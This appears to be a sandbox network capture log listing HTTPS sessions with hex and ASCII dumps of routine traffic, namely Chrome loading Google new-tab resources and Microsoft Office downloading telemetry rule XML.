1	192.168.2.5	49709	142.250.185.196	443	3772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:18 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.185.196	443	3772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:18 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 22:36:18 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 16 Nov 2024 22:36:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 22:36:18 UTC	360	IN	Data Raw: 32 32 38 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 228b)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-16 22:36:18 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-16 22:36:18 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-16 22:36:18 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-16 22:36:18 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-16 22:36:18 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 34 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700304,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"thi
2024-11-16 22:36:18 UTC	1378	IN	Data Raw: 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 Data Ascii: 03dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md\u
2024-11-16 22:36:18 UTC	223	IN	Data Raw: 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 0d 0a Data Ascii: ateScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else
2024-11-16 22:36:18 UTC	381	IN	Data Raw: 31 37 36 0d 0a 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 62 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c Data Ascii: 176throw Error(\"F\");else a\u003d_.be(a);return a};_.de\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|
2024-11-16 22:36:18 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 53 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 Data Ascii: 8000ject\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Mc(a,b))};_.S\u003dfunction(a,b){return _.Sd(_.Mc(a,b))};_.T\u003dfunction(a,b,c\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.185.196	443	3772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:18 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 22:36:18 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 16 Nov 2024 22:36:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 22:36:18 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-16 22:36:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:20 UTC	492	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:20 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 15 Nov 2024 16:53:09 GMT ETag: "0x8DD0595FBE5245A" x-ms-request-id: 2e41c694-401e-0029-6fbf-379b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223620Z-164f84587bfjxw6fhC1DFWq94400000003e000000000r2xa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:20 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 